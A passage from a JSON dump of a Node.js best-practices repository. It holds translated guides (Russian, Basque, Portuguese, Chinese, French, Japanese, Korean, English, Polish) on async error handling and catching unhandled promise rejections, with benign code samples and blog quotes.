    "content": "# Используйте Async-Await или обещания для асинхронной обработки ошибок\r\n\r\n### Объяснение в один абзац\r\n\r\nОбратные вызовы плохо масштабируются, так как большинство программистов не знакомы с ними. Они заставляют проверять ошибки повсюду, иметь дело с неприятной вложенностью кода и затрудняют анализ потока кода. Библиотеки обещаний (promise), такие как BlueBird, async и Q, упаковывают стандартный стиль кода, используя RETURN и THROW для управления потоком программы. В частности, они поддерживают наилучший стиль обработки ошибок try-catch, который позволяет освободить основной код от обработки ошибок в каждой функции.\r\n\r\n### Пример кода – использование обещаний для отлова ошибок\r\n\r\n```javascript\r\nreturn functionA()\r\n  .then(functionB)\r\n  .then(functionC)\r\n  .then(functionD)\r\n  .catch((err) => logger.error(err))\r\n  .then(alwaysExecuteThisFunction)\r\n```\r\n\r\n### Пример кода - использование async/await для отлова ошибок\r\n\r\n```javascript\r\nasync function executeAsyncTask () {\r\n  try {\r\n    const valueA = await functionA();\r\n    const valueB = await functionB(valueA);\r\n    const valueC = await functionC(valueB);\r\n    return await functionD(valueC);\r\n  }\r\n  catch (err) {\r\n    logger.error(err);\r\n  } finally {\r\n    await alwaysExecuteThisFunction();\r\n  }\r\n}\r\n```\r\n\r\n### Антипаттерн. Обработка ошибок в callback-стиле\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ngetData(someParameter, function(err, result) {\r\n    if(err !== null) {\r\n        // вызываем коллбек функцию и передаем ошибку\r\n        getMoreData(a, function(err, result) {\r\n            if(err !== null) {\r\n                // вызываем коллбек функцию и передаем ошибку\r\n                getMoreData(b, function(c) {\r\n                    getMoreData(d, function(e) {\r\n                        if(err !== null ) {\r\n                            // вы поняли идею?\r\n                        }\r\n                    })\r\n                });\r\n            }\r\n        });\r\n    }\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ngetData(someParameter, function(err: Error | null, resultA: ResultA) {\r\n  if(err !== null) {\r\n    // вызываем коллбек функцию и передаем ошибку\r\n    getMoreData(resultA, function(err: Error | null, resultB: ResultB) {\r\n      if(err !== null) {\r\n        // вызываем коллбек функцию и передаем ошибку\r\n        getMoreData(resultB, function(resultC: ResultC) {\r\n          getMoreData(resultC, function(err: Error | null, d: ResultD) {\r\n            if(err !== null) {\r\n              // вы поняли идею?\r\n            }\r\n          })\r\n        });\r\n      }\r\n    });\r\n  }\r\n});\r\n```\r\n</details>\r\n\r\n### Цитата из блога: \"У нас проблема с обещаниями\"\r\n\r\nИз блога pouchdb.com\r\n\r\n> … На самом деле, обратные вызовы делают что-то еще более зловещее: они лишают нас стека, что мы обычно принимаем как должное в языках программирования. Написание кода без стека очень похоже на вождение автомобиля без педали тормоза: вы не понимаете, насколько сильно оно вам нужно, пока не дойдете до него, а его там нет. Весь смысл обещаний состоит в том, чтобы вернуть нам языковые основы, которые мы потеряли при асинхронности: возврат, выброс и стек. Но вы должны знать, как правильно использовать обещания, чтобы воспользоваться ими.\r\n\r\n### Цитата блога: \"Подход с обещаниями гораздо более компактен\"\r\n\r\nИз блога gosquared.com\r\n\r\n> … Подход с обещаниями гораздо компактнее, понятнее и быстрее для написания. Если ошибка или исключение происходят в любой из операций, они обрабатываются одним обработчиком .catch(). Наличие единого места для обработки всех ошибок означает, что вам не нужно писать проверку ошибок для каждого этапа работы.\r\n\r\n### Цитата блога: \"Обещания являются нативными в ES6, могут использоваться с генераторами\"\r\n\r\nИз блога StrongLoop\r\n\r\n> … Обратные вызовы имеют паршивую историю обработки ошибок. Обещания лучше. Объедините встроенную обработку ошибок в Express с обещаниями и значительно снизьте вероятность возникновения необработанного исключения. Обещания являются нативными в ES6, могут использоваться с генераторами, а proposals из ES7, такие как async/await, могут использоваться через компиляторы, такие как Babel.\r\n\r\n### Цитата из блога: \"Все те обычные конструкции управления потоком, к которым вы привыкли, полностью разрушены\"\r\n\r\nИз блога Бенно\r\n\r\n> … Одно из лучших преимуществ асинхронного программирования на основе обратного вызова состоит в том, что в основном все эти обычные конструкции управления потоком, к которым вы привыкли, полностью разрушены. Тем не менее, я считаю, что больше всего разрушения коснулась обработка исключений. Javascript предоставляет довольно знакомую конструкцию try…catch для работы с исключениями. Проблема с исключениями состоит в том, что они обеспечивают отличный способ сокращения ошибок в стеке вызовов, но в конечном итоге оказываются совершенно бесполезными, если ошибка происходит в другом стеке…"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.basque.md",
    "content": "# Atzeman kudeatu gabeko agintzen arbuioak\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nNormalean, Node.js/Express aplikazio kode moderno gehienek promesen barruan funtzionatzen dute, .then kudeatzailearen, callback funtzio baten edota catch bloke baten barruan. Harrigarria bada ere, garatzaile batek .catch klausula bat gehitu zuela gogoratu ezean, leku hauetan jaurtitako erroreak ez dira uncaughtException ebentu kudeatzaileaz kudeatuak izaten, eta desagertu egiten dira. Noderen bertsio berrienek ohartarazpen mezu bat gehitu dute tratatu gabeko errefusa agertzen denean; egia da horrek, gauzak ondo ez doazenean, ohartzen lagun dezakeela, baina argi dago ez dela erroreak kudeatzeko modu egokia. Konponbide samurrena da ez ahaztea promesa kateko dei bakoitzaren barruan .catch klausula erabiltzen eta errore kudeatzaile zentralizatu batera desbideratzea. Hala ere, hauskorra da erroreak kudeatzeko estrategia garatzailearen diziplinan soilik  oinarritzea. Ondorioz, oso gomendagarria da  atzera egite dotorea erabiltzea eta `process.on('unhandledRejection', callback)`-ra harpidetzea, horrek  ziurtatuko baitu promesa erroreek, bere tratamendua izango dutela, lokalki kudeatzen ez badira\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: errore hauek ez ditu inolako errore kudeatzailek atzemango (unhandledRejection-ek izan ezik)\r\n\r\n```javascript\r\nDAL.berreskuratuErabiltzaileaIdBidez(1).then((johnSnow) => {\r\n  // errore hau desagertu egingo da\r\n  if (johnSnow.bizirikDago === false) throw new Error(\"ahhhh\");\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: kudeatu gabeko eta baztertutako promesak atzematen\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nprocess.on(\"unhandledRejection\", (arrazoia, p) => {\r\n  // Kudeatu gabeko baztertutako promesa bat harrapatu dut,\r\n  // iada kudeatu gabeko erroreentzat atzera-egite kudeatzailea dugunez (begiratu beherago),\r\n  // utzi jaurtitzen eta utzi berari hori kudeatzen\r\n  throw arrazoia;\r\n});\r\n\r\nprocess.on(\"uncaughtException\", (errorea) => {\r\n  // Aurretik inoiz kudeatu gabeko errorea jaso berri dut, hau kudeatzeko eta berrekite bat beharrezkoa den erabakitzeko garaia da\r\n  erroreKudeaketa.kudeatzailea.erroreaKudeatu(errorea);\r\n  if (!erroreKudeaketa.kudeatzailea.erroreFidagarriaDa(errorea))\r\n    process.exit(1);\r\n});\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nprocess.on(\"unhandledRejection\", (arrazioa: string, p: Promise<any>) => {\r\n  // Kudeatu gabeko baztertutako promesa bat harrapatu dut,\r\n  // iada kudeatu gabeko erroreentzat atzera-egite kudeatzailea dugunez (begiratu beherago),\r\n  // utzi jaurtitzen eta utzi berari hori kudeatzen\r\n  throw arrazoia;\r\n});\r\n\r\nprocess.on(\"uncaughtException\", (errorea: Error) => {\r\n  // Aurretik inoiz kudeatu gabeko errorea jaso berri dut, hau kudeatzeko eta berrekite bat beharrezkoa den erabakitzeko garaia da\r\n  erroreKudeaketa.kudeatzailea.erroreaKudeatu(errorea);\r\n  if (!erroreKudeaketa.kudeatzailea.erroreFidagarriaDa(errorea))\r\n    process.exit(1);\r\n});\r\n```\r\n\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Erroreren bat egiteko gai bazara, momenturen batean egin egingo duzu\"\r\n\r\nJames Nelson bloga\r\n\r\n> Proba dezagun zure ulermena. Hauetako zeinek uste duzu erakutsiko duela errore bat kontsolan?\r\n\r\n```javascript\r\nPromise.resolve(\"agindutako balioa\").then(() => {\r\n  throw new Error(\"errorea\");\r\n});\r\n\r\nPromise.reject(\"errore balioa\").catch(() => {\r\n  throw new Error(\"errorea\");\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error(\"errorea\");\r\n});\r\n```\r\n\r\n> Ez dakit zer pentsatzen duzun, baina nire erantzuna da guztietan bistaratuko dela erroreren bat, eta errealitatea da JavaScript ingurune moderno gehienek kasu hauetako batentzat ere ez dituztela erroreak bistaratuko. Gizakien arazoa da, erroreen bat egiteko gai bazara, momenturen batean egingo duzula. Hori argi edukita, begibistakoa dirudi gauzak diseinatu behar direla erroreen erruz ahalik eta gutxien hondatzeko, eta horrek erroreak beti kudeatu beharra dagoela esan nahi du, alde batera utzi beharrean.\r\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.brazilian-portuguese.md",
    "content": "# Capture rejeições de promises não tratadas\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nNormalmente, a maioria do código de um aplicativo Node.js/Express moderno é executado dentro de promises - seja no manipulador .then, em uma função callback ou em um bloco catch. Surpreendentemente, a menos que um desenvolvedor tenha lembrado de adicionar uma cláusula .catch, os erros lançados nesses locais não serão manipulados pelo manipulador de eventos uncaughtException e desaparecerão. Versões recentes do Node adicionaram uma mensagem de aviso quando uma rejeição não tratada aparece, embora isso possa ajudar a perceber quando as coisas dão errado, obviamente não é um método adequado de tratamento de erros. A solução direta é nunca esquecer de incluir cláusulas .catch em cada chamada de cadeia de promessa e redirecionar para um manipulador de erro centralizado. No entanto, criar sua estratégia de tratamento de erros apenas contando com a disciplina do desenvolvedor é um pouco frágil. Conseqüentemente, é altamente recomendado usar uma alternativa elegante e usar o `process.on ('unhandledRejection', callback)` - isso garantirá que qualquer erro prometido, se não for tratado localmente, receba seu tratamento.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: esses erros não serão detectados por nenhum manipulador de erros (exceto unhandledRejection)\r\n\r\n```javascript\r\nDAL.getUserById(1).then((johnSnow) => {\r\n  // esse erro vai simplesmente desaparecer\r\n  if(johnSnow.isAlive == false)\r\n      throw new Error('ahhhh');\r\n});\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: captura de promises não resolvidas e rejeitadas\r\n\r\n```javascript\r\nprocess.on('unhandledRejection', (reason, p) => {\r\n  // Acabei de receber uma rejeição de promise não tratada, já que nós já temos uma alternativa para erros não manipulados (veja abaixo), vamos jogar e deixar ele lidar com isso\r\n  throw reason;\r\n});\r\nprocess.on('uncaughtException', (error) => {\r\n  // Acabei de receber um erro que nunca foi tratado, tempo para resolvê-lo e, em seguida, decidir se é necessário reiniciar\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"Se você pode cometer um erro, em algum momento você vai\"\r\n\r\n Do blog James Nelson\r\n\r\n > Vamos testar sua compreensão. Qual das seguintes opções você espera que imprima um erro no console?\r\n\r\n```javascript\r\nPromise.resolve(‘promised value’).then(() => {\r\n  throw new Error(‘error’);\r\n});\r\n\r\nPromise.reject(‘error value’).catch(() => {\r\n  throw new Error(‘error’);\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error(‘error’);\r\n});\r\n```\r\n\r\n> Eu não sei sobre você, mas minha resposta é que eu esperaria que todos eles imprimissem um erro. No entanto, a realidade é que vários ambientes JavaScript modernos não imprimem erros para nenhum deles. O problema de ser humano é que, se você puder cometer um erro, em algum momento você o fará. Tendo isso em mente, parece óbvio que devemos projetar as coisas de tal maneira que os erros causem o mínimo de dano possível, e isso significa manipular erros por padrão, não descartá-los.\r\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.chinese.md",
    "content": "# 捕获未处理的promise rejections\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n通常，大部分的现代node.js/express应用代码运行在promise里 – 或者是在.then里处理，一个回调函数中，或者在一个catch块中。令人惊讶的是，除非开发者记得添加.catch语句，在这些地方抛出的错误都不会被uncaughtException事件处理程序来处理，然后消失掉。当未处理的rejection出现，node最近的版本增加了一个警告消息，尽管当事情出错的时候这可能有助于发现问题，但这显然不是一个适当的错误处理方法。简单明了的解决方案是永远不要忘记在每个promise链式调用中添加.catch语句，并重定向到一个集中的错误处理程序。然而，只在开发人员的规程上构建错误处理策略是有些脆弱的。因此，使用一个优雅的回调并订阅到process.on（'unhandledrejection'，callback）是高度推荐的 – 这将确保任何promise错误，如果不是本地处理，将在这处理。\r\n\r\n<br/><br/>\r\n\r\n### 代码示例: 这些错误将不会得到任何错误处理程序捕获（除unhandledrejection）\r\n\r\n```javascript\r\nDAL.getUserById(1).then((johnSnow) =>\r\n{\r\n  //this error will just vanish\r\n\tif(johnSnow.isAlive == false)\r\n\t    throw new Error('ahhhh');\r\n});\r\n\r\n```\r\n<br/><br/>\r\n### 代码示例: 捕获 unresolved 和 rejected 的 promise\r\n\r\n```javascript\r\nprocess.on('unhandledRejection', (reason, p) => {\r\n  //我刚刚捕获了一个未处理的promise rejection, 因为我们已经有了对于未处理错误的后备的处理机制（见下面）, 直接抛出，让它来处理\r\n  throw reason;\r\n});\r\nprocess.on('uncaughtException', (error) => {\r\n  //我刚收到一个从未被处理的错误，现在处理它，并决定是否需要重启应用\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n\r\n```\r\n<br/><br/>\r\n### 博客引用: \"如果你犯了错误，在某个时候你就会犯错误。\"\r\n 摘自 James Nelson 的博客\r\n \r\n > 让我们测试一下您的理解。下列哪一项是您期望错误将会打印到控制台的？\r\n\r\n```javascript\r\nPromise.resolve(‘promised value’).then(() => {\r\n  throw new Error(‘error’);\r\n});\r\n\r\nPromise.reject(‘error value’).catch(() => {\r\n  throw new Error(‘error’);\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error(‘error’);\r\n});\r\n```\r\n\r\n> 我不知道您的情况，但我的回答是我希望它们所有都能打印出一个错误。然而，现实是许多现代JavaScript环境不会为其中任何一个打印错误。做为人的问题是，如果你犯了错误，在某个时候你就会犯错误。记住这一点，很显然，我们应该设计这样一种方式，使错误尽可能少创造伤害，这意味着默认地处理错误，而不是丢弃错误。\r\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.french.md",
    "content": "# Capturez les rejets de promesses non gérés\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nEn règle générale, la plupart du code d'application Node.js/Express moderne s'exécute dans le cadre de promesse - que ce soit dans le gestionnaire .then, un rappel de fonction ou dans un bloc catch. Étonnamment, à moins qu'un développeur n'ait pensé à ajouter une clause .catch, les erreurs lancées à ces endroits ne sont pas traitées par le gestionnaire d'événement uncaughtException et disparaissent. Les versions récentes de Node ont ajouté un message d'avertissement lorsqu'un rejet non géré apparaît, bien que cela puisse aider à remarquer quand les choses tournent mal, mais ce n'est évidemment pas une bonne méthode de gestion des erreurs. La solution simple consiste à ne jamais oublier d'ajouter des clauses .catch dans chaque appel de chaîne de promesse et de rediriger vers un gestionnaire d'erreurs centralisé. Cependant, la construction de votre stratégie de gestion des erreurs uniquement sur la discipline du développeur est quelque peu fragile. Par conséquent, il est fortement recommandé d'utiliser une solution de secours élégante et de vous abonner à `process.on('unhandledRejection', callback)` - cela garantira que toute erreur de promesse, si elle n'est pas traitée localement, sera traitée.\n\n<br/><br/>\n\n### Exemple de code : ces erreurs ne seront détectées par aucun gestionnaire d'erreurs (sauf unhandledRejection)\n\n```javascript\nDAL.getUserById(1).then((johnSnow) => {\n  // cette erreur disparaîtra\n  if(johnSnow.isAlive === false)\n      throw new Error('ahhhh');\n});\n```\n\n<br/><br/>\n\n### Exemple de code : capturer des promesses non résolues et rejetées\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nprocess.on('unhandledRejection', (reason, p) => {\n  // Je viens d'attraper un rejet de promesse non géré,\n  // puisque nous avons déjà un gestionnaire de secours pour les erreurs non gérées (voir ci-dessous),\n  // laissons throw et laissons-le gérer cela\n  throw reason;\n});\n\nprocess.on('uncaughtException', (error) => {\n  // Je viens de recevoir une erreur qui n'a jamais été traitée, il est temps de la gérer et de décider ensuite si un redémarrage est nécessaire\n  errorManagement.handler.handleError(error);\n  if (!errorManagement.handler.isTrustedError(error))\n    process.exit(1);\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nprocess.on('unhandledRejection', (reason: string, p: Promise<any>) => {\n// Je viens d'attraper un rejet de promesse non géré,\n  // puisque nous avons déjà un gestionnaire de secours pour les erreurs non gérées (voir ci-dessous),\n  // laissons throw et laissons-le gérer cela\n  throw reason;\n});\n\nprocess.on('uncaughtException', (error: Error) => {\n  // Je viens de recevoir une erreur qui n'a jamais été traitée, il est temps de la gérer et de décider ensuite si un redémarrage est nécessaire\n  errorManagement.handler.handleError(error);\n  if (!errorManagement.handler.isTrustedError(error))\n    process.exit(1);\n});\n```\n</details>\n\n<br/><br/>\n\n### Citation de blog : « Si vous pouvez faire une erreur, vous la ferez à un moment donné »\n\nExtrait du blog de James Nelson\n\n > Testons votre compréhension. Lequel des éléments suivants devrez afficher une erreur sur la console ?\n\n```javascript\nPromise.resolve('promised value').then(() => {\n  throw new Error('error');\n});\n\nPromise.reject('error value').catch(() => {\n  throw new Error('error');\n});\n\nnew Promise((resolve, reject) => {\n  throw new Error('error');\n});\n```\n\n> Je ne sais pas pour vous, mais ma réponse est que je m'attends à ce que tous affichent une erreur. Cependant, la réalité est qu'un certain nombre d'environnements JavaScript modernes n'imprimeront d'erreurs pour aucun d'entre eux. Le problème avec l'être humain est que si vous pouvez faire une erreur, vous la ferez à un moment donné. En gardant cela à l'esprit, il semble évident que nous devons concevoir les choses de manière à ce que les erreurs fassent le moins de mal possible, ce qui signifie gérer les erreurs par défaut, et non les éliminer.\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.japanese.md",
    "content": "# 未処理の reject された promise を捕捉する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n一般的に、モダンな Node.js/Express アプリケーションのコードの多くは、promise の中で実行されます ー .then ハンドラ、コールバック関数、あるいは catch ブロックのいずれかです。驚くべきことに、開発者が忘れずに .catch 節を追加しない限り、promise 内で投げられた例外は uncaughtException イベントハンドラで処理されず、消えてなくなります。最近の Node.js のバージョンでは、未処理の reject があった場合に警告メッセージを表示するようになりましたが、これは何かがうまくいっていないときに気づくのに役立つかもしれませんが、明らかに適切なエラー処理の方法ではありません。単純な解決策は、各 promise チェインコール内に .catch 節を追加することを絶対に忘れず、集中化されたエラーハンドラに処理をリダイレクトすることです。しかしながら、開発者の規律だけでエラー処理の方針を構築することは、いささか脆いものです。したがって、潔いフォールバックを利用すること、そして `process.on('unhandledRejection', callback)` をサブスクライブすることを強く推奨します ー これは、全ての promise エラーが、ローカルで処理されていなくても、確実に処理されることを保証します。\r\n\r\n<br/><br/>\r\n\r\n### コード例: これらのエラーはどのエラーハンドラにも捕捉されません（unhandledRejection を除く）\r\n\r\n```javascript\r\nDAL.getUserById(1).then((johnSnow) => {\r\n  // このエラーはただ消えるだけです\r\n  if(johnSnow.isAlive === false)\r\n      throw new Error('ahhhh');\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### コード例: 未解決の promise や reject された promise を捕捉する\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nprocess.on('unhandledRejection', (reason, p) => {\r\n  // 未処理の promise の reject を捕捉しました\r\n  // すでに未処理のエラーのためのフォールバックハンドラ（下記参照）を持っているので、\r\n  // 投げて、処理させましょう\r\n  throw reason;\r\n});\r\n\r\nprocess.on('uncaughtException', (error) => {\r\n  // 未処理のエラーを受信したので、処理を行い、再起動が必要かどうかを判断してください\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nprocess.on('unhandledRejection', (reason: string, p: Promise<any>) => {\r\n  // 未処理の promise の reject を捕捉しました\r\n  // すでに未処理のエラーのためのフォールバックハンドラ（下記参照）を持っているので、\r\n  // 投げて、処理させましょう\r\n  throw reason;\r\n});\r\n\r\nprocess.on('uncaughtException', (error: Error) => {\r\n  // 未処理のエラーを受信したので、処理を行い、再起動が必要かどうかを判断してください\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n```\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"If you can make a mistake, at some point you will\"（ミスをすることができるなら、いつかするでしょう）\r\n\r\nブログ James Nelson より\r\n\r\n> 理解度をテストしてみましょう。次のうち、コンソールにエラーを表示するのはどれだと思いますか？\r\n\r\n```javascript\r\nPromise.resolve('promised value').then(() => {\r\n  throw new Error('error');\r\n});\r\n\r\nPromise.reject('error value').catch(() => {\r\n  throw new Error('error');\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error('error');\r\n});\r\n```\r\n\r\n> あなたのことはわかりませんが、私の答えは、これらは全てエラーを表示すると思う、というものです。しかしながら、実際には、たくさんのモダンな JavaScript 環境はどのエラーも表示しません。人間であることの問題は、ミスをすることができるなら、いつかミスをするだろう、ということです。このことを念頭に置いていれば、ミスの影響ができるだけ小さくなるように設計をするべきであることが明らかであり、そしてこれはエラーの破棄ではなく、エラー処理をデフォルトで行うこと意味します。\r\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.korean.md",
    "content": "# Catch unhandled promise rejections\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nTypically, most of modern Node.js/Express application code runs within promises – whether within the .then handler, a function callback or in a catch block. Surprisingly, unless a developer remembered to add a .catch clause, errors thrown at these places are not handled by the uncaughtException event-handler and disappear.  Recent versions of Node added a warning message when an unhandled rejection pops, though this might help to notice when things go wrong but it's obviously not a proper error handling method. The straightforward solution is to never forget adding .catch clauses within each promise chain call and redirect to a centralized error handler. However, building your error handling strategy only on developer’s discipline is somewhat fragile. Consequently, it’s highly recommended using a graceful fallback and subscribe to `process.on(‘unhandledRejection’, callback)` – this will ensure that any promise error, if not handled locally, will get its treatment.\r\n\r\n<br/><br/>\r\n\r\n### Code example: these errors will not get caught by any error handler (except unhandledRejection)\r\n\r\n```javascript\r\nDAL.getUserById(1).then((johnSnow) => {\r\n  // this error will just vanish\r\n  if(johnSnow.isAlive == false)\r\n      throw new Error('ahhhh');\r\n});\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code example: Catching unresolved and rejected promises\r\n\r\n```javascript\r\nprocess.on('unhandledRejection', (reason, p) => {\r\n  // I just caught an unhandled promise rejection, since we already have fallback handler for unhandled errors (see below), let throw and let him handle that\r\n  throw reason;\r\n});\r\nprocess.on('uncaughtException', (error) => {\r\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"If you can make a mistake, at some point you will\"\r\n\r\n From the blog James Nelson\r\n\r\n > Let’s test your understanding. Which of the following would you expect to print an error to the console?\r\n\r\n```javascript\r\nPromise.resolve(‘promised value’).then(() => {\r\n  throw new Error(‘error’);\r\n});\r\n\r\nPromise.reject(‘error value’).catch(() => {\r\n  throw new Error(‘error’);\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error(‘error’);\r\n});\r\n```\r\n\r\n> I don’t know about you, but my answer is that I’d expect all of them to print an error. However, the reality is that a number of modern JavaScript environments won’t print errors for any of them.The problem with being human is that if you can make a mistake, at some point you will. Keeping this in mind, it seems obvious that we should design things in such a way that mistakes hurt as little as possible, and that means handling errors by default, not discarding them.\r\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.md",
    "content": "# Catch unhandled promise rejections\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nTypically, most of modern Node.js/Express application code runs within promises – whether within the .then handler, a function callback or in a catch block. Surprisingly, unless a developer remembered to add a .catch clause, errors thrown at these places are not handled by the uncaughtException event-handler and disappear.  Recent versions of Node added a warning message when an unhandled rejection pops, though this might help to notice when things go wrong but it's obviously not a proper error handling method. The straightforward solution is to never forget adding .catch clauses within each promise chain call and redirect to a centralized error handler. However, building your error handling strategy only on developer’s discipline is somewhat fragile. Consequently, it’s highly recommended using a graceful fallback and subscribe to `process.on('unhandledRejection', callback)` – this will ensure that any promise error, if not handled locally, will get its treatment.\r\n\r\n<br/><br/>\r\n\r\n### Code example: these errors will not get caught by any error handler (except unhandledRejection)\r\n\r\n```javascript\r\nDAL.getUserById(1).then((johnSnow) => {\r\n  // this error will just vanish\r\n  if(johnSnow.isAlive === false)\r\n      throw new Error('ahhhh');\r\n});\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code example: Catching unresolved and rejected promises\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nprocess.on('unhandledRejection', (reason, p) => {\r\n  // I just caught an unhandled promise rejection,\r\n  // since we already have fallback handler for unhandled errors (see below),\r\n  // let throw and let him handle that\r\n  throw reason;\r\n});\r\n\r\nprocess.on('uncaughtException', (error) => {\r\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nprocess.on('unhandledRejection', (reason: string, p: Promise<any>) => {\r\n  // I just caught an unhandled promise rejection,\r\n  // since we already have fallback handler for unhandled errors (see below),\r\n  // let throw and let him handle that\r\n  throw reason;\r\n});\r\n\r\nprocess.on('uncaughtException', (error: Error) => {\r\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\r\n  errorManagement.handler.handleError(error);\r\n  if (!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1);\r\n});\r\n```\r\n</details>\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"If you can make a mistake, at some point you will\"\r\n\r\n From the blog James Nelson\r\n\r\n > Let’s test your understanding. Which of the following would you expect to print an error to the console?\r\n\r\n```javascript\r\nPromise.resolve('promised value').then(() => {\r\n  throw new Error('error');\r\n});\r\n\r\nPromise.reject('error value').catch(() => {\r\n  throw new Error('error');\r\n});\r\n\r\nnew Promise((resolve, reject) => {\r\n  throw new Error('error');\r\n});\r\n```\r\n\r\n> I don’t know about you, but my answer is that I’d expect all of them to print an error. However, the reality is that a number of modern JavaScript environments won’t print errors for any of them.The problem with being human is that if you can make a mistake, at some point you will. Keeping this in mind, it seems obvious that we should design things in such a way that mistakes hurt as little as possible, and that means handling errors by default, not discarding them.\r\n"
  },
  {
    "path": "sections/errorhandling/catchunhandledpromiserejection.polish.md",
    "content": "# Złap nieobsłużone odrzucenia promises\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nZazwyczaj większość współczesnego kodu aplikacji Node.js / Express działa w ramach obietnic - czy to w .then handler, wywołaniu zwrotnym funkcji, czy w bloku catch. Zaskakujące jest to, że jeśli programista nie pamięta o dodaniu klauzuli .catch, błędy zgłaszane w tych miejscach nie są obsługiwane przez moduł obsługi zdarzeń uncaughtException i znikają. Najnowsze wersje Node dodały komunikat ostrzegawczy, gdy pojawia się nieobsługiwane odrzucenie, chociaż może to pomóc w zauważeniu, że coś pójdzie nie tak, ale oczywiście nie jest to właściwa metoda obsługi błędów. Prostym rozwiązaniem jest, aby nigdy nie zapomnieć o dodaniu klauzul .catch w każdym wywołaniu łańcucha obietnicy i przekierowaniu do scentralizowanej procedury obsługi błędów. Jednak budowanie strategii radzenia sobie z błędami wyłącznie w oparciu o dyscyplinę programisty jest dość kruche. W związku z tym zaleca się stosowanie płynnego wycofywania się i zapisanie się na `process.on ('unhandledRejection', callback)` - zapewni to, że każdy błąd obietnicy, jeśli nie zostanie złapany lokalnie, zostanie obsłużony.\n\n<br/><br/>\n\n### Przykład kodu: błędy te nie zostaną złapane przez żadną procedurę obsługi błędów (z wyjątkiem unhandledRejection)\n\n```javascript\nDAL.getUserById(1).then((johnSnow) => {\n  // this error will just vanish\n  if(johnSnow.isAlive === false)\n      throw new Error('ahhhh');\n});\n```\n\n<br/><br/>\n\n### Przykład kodu: Łapanie nierozwiązanych i odrzuconych promises\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nprocess.on('unhandledRejection', (reason, p) => {\n  // I just caught an unhandled promise rejection,\n  // since we already have fallback handler for unhandled errors (see below),\n  // let throw and let him handle that\n  throw reason;\n});\n\nprocess.on('uncaughtException', (error) => {\n  // I just received an error that was never handled, time to handle it and then decide whether a restart is needed\n  errorManagement.handler.handleError(error);\n  if (!errorManagement.handler.isTrustedError(error))\n    process.exit(1);\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nprocess.on('unhandledRejection', (reason: string, p: Promise<any>) => {\n  // I just caught an unhandled promise rejection,\n  // since we already have fallback handler for unhandled errors (see below),\n  // let throw and let him handle that\n  throw 